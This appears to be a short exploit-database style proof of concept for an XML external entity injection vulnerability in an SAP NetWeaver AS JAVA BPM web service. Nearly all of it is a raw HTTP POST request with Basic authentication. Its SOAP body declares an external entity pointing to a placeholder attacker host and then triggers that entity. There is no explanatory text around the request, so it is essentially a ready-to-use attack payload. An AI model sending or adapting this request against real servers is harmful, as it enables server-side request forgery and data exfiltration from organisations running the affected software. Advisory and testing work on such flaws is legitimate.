SAP NetWeaver AS JAVA - 'BC-BMT-BPM-DSK' XML external entity injection vulnerability

                                                POST /sap.com~tc~bpem~him~uwlconn~provider~web/bpemuwlconn HTTP/1.1
 
Content-Type: text/xml
 
User-Agent: ERPscan
 
Host: SAP_IP:SAP_PORT
 
Content-Length: 480
 
Connection: Keep-Alive
 
Cache-Control: no-cache
 
Authorization: Basic ZXJwc2NhbjplcnBzY2Fu
 
 
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker_host">
]><SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
 
   <SOAP-ENV:Body>
 
       <m:isBPMSInUse xmlns:m="http://api.facade.bpem.sap.com/"/>
 
   &xxe;</SOAP-ENV:Body>
 
</SOAP-ENV:Envelope>